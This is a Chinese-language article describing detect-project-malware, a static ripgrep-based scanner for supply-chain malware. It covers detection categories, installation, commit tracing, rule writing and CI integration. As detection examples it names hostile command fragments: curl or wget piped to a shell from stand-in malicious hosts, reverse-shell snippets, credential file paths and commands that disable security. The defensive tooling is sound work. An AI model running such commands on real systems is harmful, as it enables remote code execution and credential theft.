静态分析工具detect-project-malware:不执行代码的供应链安全扫描器
1. 项目概述一个不执行代码的供应链安全扫描器在开源协作和依赖管理日益复杂的今天一个隐蔽的恶意代码注入可能就藏在某个看似无害的配置文件里。去年我亲身经历了一次安全事件一位贡献者在项目的postcss.config.js文件中注入了一段经过混淆的凭据窃取代码。虽然我们当时发现了问题并回滚了提交但几周后这位贡献者又将同样的恶意代码隐藏在了一个无关的功能提交里再次混入仓库。这件事让我意识到依赖人工审查来对抗这类“打地鼠”式的攻击不仅效率低下而且极易遗漏。正是这次事件催生了detect-project-malware这个项目。它的核心目标非常明确在不执行任何可疑代码的前提下对整个项目仓库进行静态扫描快速识别供应链攻击和信息窃取木马的典型模式。它不是一个重量级的杀毒软件而是一个轻量、精准的“安检仪”专门用于在代码合并前或定期审计时快速筛查那些常规代码审查可能忽略的恶意模式。这个工具以SKILL.md格式构建这意味着它能无缝集成到 Claude Code、Cursor、Codex 等超过 40 种支持 Agent Skills 开放标准 的 AI 编程助手或 CLI 工具中。你可以把它想象成给你的 AI 编程伙伴安装了一个“安全插件”让它在你编写或审查代码时多一双警惕的眼睛。1.1 核心设计理念静态分析与安全边界为什么强调“不执行代码”这是本工具设计的首要安全原则。在安全领域分析一个可能已受感染的仓库时最危险的操作就是去运行它。一个恶意的postinstall脚本或一段被eval()包裹的代码一旦执行可能瞬间泄露环境变量、窃取 SSH 密钥或建立反向 Shell。detect-project-malware彻底避免了这种风险。它底层依赖的是ripgreprg一个用 Rust 编写、速度极快的命令行搜索工具。工具的所有检测逻辑都通过ripgrep的正则表达式匹配来完成。它只做一件事读取文件的文本内容并与预定义的恶意模式规则库进行比对。整个过程不涉及任何代码解析、依赖安装或命令执行因此你可以放心地用它扫描任何来源的仓库即使是那些你高度怀疑已经“中招”的项目。这种纯静态分析的方法决定了它的优势和局限。优势在于绝对的安全性和极低的开销几秒钟就能扫描成百上千个文件。局限在于它只能检测“模式”对于高度定制化、从未公开过的攻击手法即所谓的“0day”可能会失效。因此它最适合作为安全防线中的一环用于快速筛查已知的、常见的恶意代码模式而不是一个万能的安全解决方案。2. 核心检测能力与模式分类解析detect-project-malware的检测能力来源于一个精心维护的规则文件scripts/patterns.txt。这个文件将各种恶意行为归纳为 14 个清晰的类别覆盖了从代码混淆、命令执行到凭据窃取、持久化攻击的完整链条。理解这些分类能帮助你在看到扫描结果时快速评估风险的严重性。2.1 代码执行与逃逸类这类模式主要检测那些试图动态执行代码或绕过模块系统安全机制的行为。JS_OBFUSCATION/PY_EVAL: 检测 JavaScript 和 Python 中明显的代码混淆痕迹如大量\x十六进制转义、[‘c‘,‘o‘,‘n‘,‘s‘,‘t‘,‘r‘,‘u‘,‘c‘,‘t‘,‘o‘,‘r‘]拼接以及eval()、exec()、Function()等动态执行函数的使用。虽然eval在合法场景也存在但在配置文件中出现需要高度警惕。JS_ESM_ESCAPE: 专门针对 ES Module 系统的逃逸手法。例如利用createRequire在 ESM 中引入 CommonJS 模块以调用敏感 API或者使用import()动态导入可能被篡改的模块路径。这在针对现代前端工具链的攻击中很常见。JS_NATIVE_EXEC/PY_NATIVE_EXEC: 检测通过child_process.spawn、os.system、subprocess.Popen等接口执行系统命令的代码。重点在于寻找拼接用户输入或不可信数据作为命令参数的模式这很可能是命令注入的前兆。实操心得对于JS_EVAL或PY_EVAL这类检测误报率相对较高因为一些古老的构建脚本或模板引擎可能会合理使用它们。扫描后你需要结合上下文判断这个文件是什么是业务逻辑还是配置文件eval的参数是硬编码的静态字符串还是来自网络请求或文件读取的动态内容后者危险系数呈指数级上升。2.2 Shell 与系统安全类直接针对操作系统层面的攻击模式危害性通常最大。SHELL_REMOTE_EXEC: 这是供应链攻击的“经典款”。检测如curl http://malicious.site/script.sh | bash或bash (curl -sL ...)这种直接从网络下载并执行脚本的模式。攻击者常将其隐藏在package.json的postinstall钩子或 Dockerfile 的RUN指令中。SHELL_REVERSE_SHELL: 反向 Shell 是攻击者建立持久化控制通道的典型手段。规则会匹配/dev/tcp/[IP]/[PORT]、nc -e /bin/bash、bash -i /dev/tcp/...等经典的反向 Shell 命令片段。SHELL_PERSISTENCE: 检测试图在系统层面建立持久化的操作。例如向~/.bashrc、~/.ssh/authorized_keys文件追加内容添加用户级别的定时任务crontab -e或注册系统服务systemd、LaunchAgents。SHELL_DISABLE_SECURITY: 检测那些试图关闭系统安全机制的指令如禁用 SELinux (setenforce 0)、移除文件不可更改属性 (chattr -i)、清空防火墙规则 (iptables -F) 等。这通常是攻击者在植入后门或窃取数据前的“清扫”动作。注意事项Shell 类的检测精准度很高一旦告警几乎可以肯定是恶意行为。你需要立即隔离相关环境并检查该命令是在哪个提交、由谁引入的。find-injection.sh脚本正是为此而生。2.3 凭据与数据窃取类这是信息窃取木马的核心目标。规则覆盖了从浏览器到云端从加密货币到聊天软件的多种凭据。CRED_系列 (BROWSER,SSH,CLOUD,TOKENS,WALLETS,PRIVATE_KEYS,DISCORD): 这些规则主要搜索特定路径和关键词。例如寻找访问浏览器Login Data、Cookies数据库文件的路径搜索~/.ssh/id_rsa、~/.aws/credentials、~/.config/gcloud/等敏感目录的读取操作匹配metamask、phantom等钱包扩展名或seed phrase等关键词查找 Discord 的token或Local Storage路径。NET_EXFIL: 检测数据外泄的通道。包括向 Telegram Bot API、Discord/Slack Webhook URL 发送数据的代码使用ngrok、transfer.sh等临时文件共享服务甚至是通过 DNS 查询进行数据渗漏DNS tunneling的可疑模式。核心逻辑这类检测的关键在于代码是否在尝试读取这些敏感位置并将读取到的内容通过NET_EXFIL中定义的渠道发送出去。一个单纯的配置文件里写了云服务的密钥这属于秘密泄露但木马是主动去窃取这些秘密的工具。扫描器通过关联上下文如读取敏感文件后紧跟着网络请求可以提高告警的准确性。2.4 其他威胁类别MINING: 检测加密货币挖矿软件的相关关键词如xmrig、stratum协议地址、coinhive已消亡的网页挖矿脚本等。SUPPLY_CHAIN: 重点关注package.json、composer.json、Pipfile等依赖管理文件中的生命周期钩子。例如检查postinstall、preinstall、prepare等脚本是否包含了从远程下载或执行命令的高风险操作。CONFIG_ANOMALY: 这是一个有趣的启发式检测。它寻找配置文件如.json,.yml,.js中异常长的单行代码。因为攻击者为了隐蔽经常将经过压缩或混淆的恶意负载作为一行很长的字符串插入到配置文件中指望代码审查者因为行太长而忽略。规则会标记超过特定长度阈值例如 5000 字符的行。提示CONFIG_ANOMALY的误报可能较多比如一个压缩过的 SVG 图标或一个大的 Base64 编码的内联资源。但它成本极低且确实能发现一些极其隐蔽的注入建议作为辅助指标结合其他类别告警一起判断。3. 安装与集成让安全扫描无处不在安装detect-project-malware非常灵活你可以根据自己主要使用的开发环境选择最适合的方式。3.1 通过skillsCLI 一键安装推荐这是最便捷的安装方式尤其当你使用多个不同的 AI 编程助手时。npx skills add raalarcon9705/detect-project-malware这条命令会自动检测你系统上已安装的、支持 Agent Skills 标准的所有工具如 Claude Code, Cursor, Codex, Gemini CLI, Antigravity 等并将本技能安装到每个工具对应的技能目录中。整个过程是全自动的。如果你只想为特定的某个工具安装可以使用--agent参数# 只为 Claude Code 安装 npx skills add raalarcon9705/detect-project-malware --agent claude-code # 只为 Cursor 安装 npx skills add raalarcon9705/detect-project-malware --agent cursor安装后发生了什么本质上skillsCLI 会将这个技能的 Git 仓库克隆到对应 Agent 的特定目录下。例如对于 Claude Code路径会是~/.claude/skills/detect-project-malware/。这个目录下包含了SKILL.md技能入口描述文件和所有的扫描脚本。3.2 手动安装如果你偏好手动控制或者使用的工具不在skillsCLI 的自动检测列表里可以手动克隆仓库。首先你需要知道你的 AI 代理将技能存放在哪个目录。以下是常见代理的路径代理工具技能安装路径Claude Code~/.claude/skills/detect-project-malwareCursor~/.cursor/skills/detect-project-malwareCodex~/.codex/skills/detect-project-malwareGemini CLI~/.gemini/skills/detect-project-malwareAntigravity~/.antigravity/skills/detect-project-malware通用路径~/.agents/skills/detect-project-malware然后使用git clone命令进行安装。以 Claude Code 为例git clone https://github.com/raalarcon9705/detect-project-malware.git \ ~/.claude/skills/detect-project-malware检查是否安装成功安装完成后你可以在对应的 AI 代理中通过输入类似“有哪些可用的技能”或“扫描项目安全”的指令来触发它。不同的代理触发方式略有不同通常会在对话中提供技能列表或自动响应相关指令。3.3 前置依赖安装无论哪种安装方式工具运行都依赖两个外部命令ripgrep (rg)这是扫描器的核心引擎用于高速文件搜索和正则匹配。如果未安装扫描将无法进行。macOS (使用 Homebrew):brew install ripgrepUbuntu/Debian:sudo apt-get install ripgrep其他 Linux: 可从 GitHub 发布页 下载预编译二进制文件。Windows (通过 Scoop):scoop install ripgrepGit仅在需要使用find-injection.sh脚本追溯恶意代码引入的提交历史时才需要。大多数开发环境已内置。安装完依赖后你可以直接运行脚本进行测试无需通过 AI 代理# 进入你克隆的技能目录 cd ~/.claude/skills/detect-project-malware # 运行扫描脚本扫描当前目录 bash scripts/scan.sh如果看到类似 “scanned: X file(s) in Ys” 的输出说明安装和依赖都已就绪。4. 使用实战扫描、解读与溯源安装完成后你就可以在开发工作流中随时调用安全扫描了。使用方式主要分为两种通过 AI 代理交互式使用以及直接运行脚本进行批处理或集成。4.1 通过 AI 代理进行扫描这是最自然的用法。在你日常使用 Claude Code 或 Cursor 编写代码、审查 PR 时如果对当前项目或某个目录的安全性存疑可以直接在聊天框中输入指令扫描这个仓库的供应链安全问题。 或者 检查当前目录下是否有恶意软件模式。AI 代理会识别这个指令调用detect-project-malware技能并执行scripts/scan.sh脚本。扫描结果会以清晰格式化的文本返回给你。这种方式适合在代码审查、接收第三方 Pull Request 或引入新的依赖项时进行快速的交互式安全检查。4.2 直接运行脚本进行深度扫描对于自动化流水线如 CI/CD或一次性深度审计直接运行脚本更高效。基础扫描 在需要扫描的 Git 仓库根目录下执行bash ~/.claude/skills/detect-project-malware/scripts/scan.sh脚本会自动以当前目录为根目录进行递归扫描。一个典型的输出如下 detect-project-malware scan root: /Users/you/Development/suspicious-repo scanned: 1247 file(s) in 3.2s result: 2 suspicious file(s) Categories seen: SUPPLY_CHAIN 1 match(es) JS_OBFUSCATION 1 match(es) ● /Users/you/Development/suspicious-repo/package.json [SUPPLY_CHAIN] postinstall hook contains curl | bash ● /Users/you/Development/suspicious-repo/utils/obfuscated.js [JS_OBFUSCATION] high density of escape sequences解读扫描报告概览报告开头显示了扫描根目录、扫描文件总数、耗时以及发现的可疑文件数。扫描速度通常很快每秒可处理数百个文件。分类汇总 (Categories seen)这里列出了本次扫描中触发的所有告警类别及其匹配次数。这让你对项目存在的风险类型有一个宏观了解。详细列表每个可疑文件都会单独列出并指明触发的具体规则类别。例如[SUPPLY_CHAIN]表示在供应链攻击类别中匹配到了规则。下一步操作看到告警后不要慌张。首先立即打开对应的文件查看匹配到的具体代码行。扫描脚本默认会输出匹配到的上下文通常是匹配行及其前后几行你可以根据我们第 2 部分介绍的规则知识去判断这是真正的威胁还是误报。4.3 溯源攻击找到“罪魁祸首”当确认一个文件存在恶意代码后最关键的问题是它是谁、在什么时候、通过哪个提交引入的这正是find-injection.sh脚本的用武之地。假设scan.sh发现package.json文件有问题我们可以使用溯源脚本bash ~/.claude/skills/detect-project-malware/scripts/find-injection.sh \ package.json \ --root /Users/you/Development/suspicious-repo第一个参数是相对于--root路径的可疑文件路径。--root参数指定 Git 仓库的根目录。如果当前目录就在仓库根目录可以省略--root .。这个脚本会执行一个智能的 Git 历史二分查找输出类似以下的结果 Finding injection commit for: package.json Walking git history... (this may take a moment for large histories) [COMMIT: abc123] (2 days ago) - feat: add new analytics module STATUS: CLEAN - No patterns detected. [COMMIT: def456] (5 days ago) - chore: update dependencies STATUS: INFECTED - Pattern SUPPLY_CHAIN detected. [COMMIT: ghi789] (1 week ago) - Initial commit STATUS: CLEAN - No patterns detected. FIRST INFECTED COMMIT: def456 AUTHOR: bad-actor bad.actorexample.com To inspect the exact changes that introduced the malware, run: git show def456 -- package.json To restore the last known clean version of this file, run: git checkout abc123 -- package.json报告解读与操作历史遍历脚本从最新提交开始逐个检查指定文件在历史版本中的内容并标记为CLEAN干净、INFECTED感染或INJECTED在某个提交中被注入可能之前是干净的。定位首恶脚本会明确指出第一个引入恶意模式的提交 (FIRST INFECTED COMMIT)并显示提交哈希、作者和时间。这是追责和根因分析的关键信息。实用命令脚本贴心地提供了两条后续命令git show commit -- file查看该次提交中对此文件的具体修改内容精确看到是哪几行代码被添加或修改了。git checkout clean-commit -- file将文件回滚到最后一次干净的版本。这里的clean-commit是最后一个干净的提交哈希如示例中的abc123。实操心得溯源功能在团队协作中价值巨大。它不仅能快速定位问题提交还能帮助判断这是开发人员无意引入的恶意依赖还是账号被盗后的恶意提交或是内部人员的恶意行为。结合 Git 的git log --stat或git blame可以进一步分析该提交的其他修改了解攻击者的完整意图。5. 规则库维护与高级自定义detect-project-malware的有效性很大程度上取决于其规则库scripts/patterns.txt的质量。项目开源的目的之一就是希望社区能共同维护和丰富这个规则库。5.1 规则文件格式解析打开scripts/patterns.txt你会看到每行一条规则格式严格遵循CATEGORY|规则描述性名称|正则表达式例如SHELL_REMOTE_EXEC|curl_pipe_bash|curl\s[\w\-\.\/:]\s*\|\s*(bash|sh|zsh|fish)CATEGORY对应我们之前介绍的 14 个类别之一用于对匹配项进行分类。规则描述性名称人类可读的名称帮助理解这条规则检测什么如curl_pipe_bash。正则表达式核心检测逻辑。使用 Rust 正则表达式语法因为ripgrep使用 Rust 的regex库。以#开头的行是注释空行会被忽略。5.2 如何添加一条新规则假设你在日志中发现一种新的攻击模式攻击者使用wget下载一个脚本然后用python3执行它。你想添加一条规则来检测这种模式。分析模式模式是wget -qO- http://bad.site/x.py | python3。我们需要一个能匹配其变种可能 URL 不同参数略有差异的正则表达式。编写正则一个可能的正则是wget\s[\w\-\.]\s[\w\-\.\/:]\s*\|\s*python3?。这个表达式匹配wget后跟参数和 URL然后是管道符|最后是python3或python。确定类别这属于远程下载并执行可以归入SHELL_REMOTE_EXEC类别。添加规则在scripts/patterns.txt文件中新增一行SHELL_REMOTE_EXEC|wget_pipe_python|wget\s[\w\-\.]\s[\w\-\.\/:]\s*\|\s*python3?更新文档根据项目要求你还需要更新PATTERNS.md文件在新规则对应的类别下简要描述这条规则、其严重性级别如 High以及可能出现的误报情况例如某些合法的安装脚本也可能使用wget | python但通常是从可信源如https://bootstrap.pypa.io下载。注意事项编写正则表达式是一门平衡的艺术。太严格会漏报太宽松会误报。建议使用在线 Rust 正则表达式测试器进行验证。尽量使用\s匹配空白字符而不是简单的空格。对可能变化的域名部分使用[\w\-\.\/:]这类字符集。添加新规则后务必用scan.sh在一些已知的安全项目如流行的开源库上测试确保不会产生大量误报。5.3 调整扫描范围与排除误报有时你可能会遇到一些持续误报的文件或目录比如项目里有一个包含大量测试用混淆代码的文件或者第三方库的压缩代码。方法一修改扫描脚本临时你可以直接编辑scripts/scan.sh文件找到调用ripgrep的命令行。ripgrep支持--glob参数来包含或排除文件。例如要排除vendor/目录和所有.min.js文件可以在命令中添加--glob!vendor/** --glob!*.min.js注意直接修改脚本会影响所有使用此技能的人。如果是个人需求可以考虑创建脚本的副本并修改。方法二使用.rgignore文件推荐ripgrep会尊重项目根目录下的.rgignore文件类似于.gitignore。你可以在需要扫描的项目根目录创建这个文件添加你希望忽略的模式。例如# .rgignore vendor/ *.min.js dist/ coverage/这样当你在这个项目下运行scan.sh时这些目录和文件就会被自动排除而不会影响其他项目的扫描。方法三调整规则本身如果误报集中在某条规则上且该规则过于宽泛最根本的解决方法是优化patterns.txt中的正则表达式使其更精确。这需要你对正则表达式和常见的攻击模式有较好的理解。6. 集成到开发工作流与 CI/CD要让安全扫描发挥最大价值就不能只依赖手动运行。将其集成到自动化流程中才能实现“左移”安全在问题引入的早期就发出警报。6.1 集成到 Git 钩子Pre-commit你可以在项目的.git/hooks/pre-commit钩子中加入扫描脚本确保每次本地提交前都自动进行快速检查。在项目根目录复制预提交钩子样本如果不存在cp .git/hooks/pre-commit.sample .git/hooks/pre-commit编辑.git/hooks/pre-commit文件在文件末尾添加类似以下内容#!/bin/bash echo Running malware pattern scan... SCAN_PATH/path/to/your/skills/dir/detect-project-malware/scripts/scan.sh if bash $SCAN_PATH 2/dev/null | grep -q suspicious file; then echo ❌ Malware scan detected suspicious patterns. Commit blocked. bash $SCAN_PATH # 再次运行以显示详细错误 exit 1 else echo ✅ Malware scan passed. fi给钩子脚本添加执行权限chmod x .git/hooks/pre-commit注意事项Pre-commit 钩子应追求快速。如果项目很大全量扫描可能太慢。可以考虑只扫描暂存区staged的文件。这需要对scan.sh脚本进行修改使其接受文件列表作为参数或者使用git diff --cached --name-only获取即将提交的文件列表进行扫描。6.2 集成到 CI/CD 流水线如 GitHub Actions在 CI/CD 中集成可以确保所有合并到主分支的代码都经过安全检查。以下是一个 GitHub Actions 工作流的示例 (.github/workflows/security-scan.yml)name: Security Scan on: push: branches: [ main, master ] pull_request: branches: [ main, master ] jobs: malware-scan: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkoutv4 with: fetch-depth: 0 # 获取完整历史以便 find-injection 脚本可用 - name: Install ripgrep run: sudo apt-get update sudo apt-get install -y ripgrep - name: Clone malware detection skill run: | git clone https://github.com/raalarcon9705/detect-project-malware.git /tmp/detect-malware - name: Run malware scan run: | cd /tmp/detect-malware/scripts bash scan.sh $GITHUB_WORKSPACE continue-on-error: true # 先继续执行以便后续步骤处理结果 - name: Check scan results run: | cd /tmp/detect-malware/scripts OUTPUT$(bash scan.sh $GITHUB_WORKSPACE 21) if echo $OUTPUT | grep -q suspicious file; then echo SCAN_RESULTFAILURE $GITHUB_ENV echo $OUTPUT # 输出详细结果到日志 else echo SCAN_RESULTSUCCESS $GITHUB_ENV fi - name: Fail if issues found if: env.SCAN_RESULT FAILURE run: | echo ::error::Malware pattern scan detected suspicious code. Check the logs above. exit 1这个工作流会在推送或拉取请求时触发安装依赖和扫描器运行扫描并根据结果决定是否让流程失败。continue-on-error: true确保了即使扫描脚本发现问题我们也能先捕获输出并做自定义处理然后再优雅地失败。进阶思路你还可以扩展这个工作流当扫描发现问题时自动运行find-injection.sh脚本并将溯源结果首次感染的提交哈希、作者以评论的形式添加到 Pull Request 中为审查者提供更丰富的上下文信息。6.3 定期审计与监控除了在变更时触发还可以设置定期如每天或每周的审计任务扫描整个代码仓库甚至扫描所有依赖项node_modules,vendor等。虽然依赖项通常来自官方源但历史上不乏 event-stream 这类知名供应链攻击案例。你可以创建一个简单的 cron 任务或 Scheduled Pipeline定期运行扫描并将报告发送到安全团队或指定的频道如 Slack。结合find-injection.sh可以自动生成包含问题文件、引入提交和作者的报告。个人使用体会我将这个扫描器集成到了团队的 CI 流程和我的本地预提交钩子中。最大的收获不是它抓住了多少真正的恶意代码谢天谢地目前还没有而是它建立了一种“安全文化”。每次提交前看到那个扫描通过的绿色对勾以及在新同事的 PR 里因为一个可疑的curl | bash而被自动拦截时都提醒着每个人安全是开发过程中不可分割的一部分。它像是一个沉默的哨兵虽然大多数时候风平浪静但你知道它在那里这就足够了。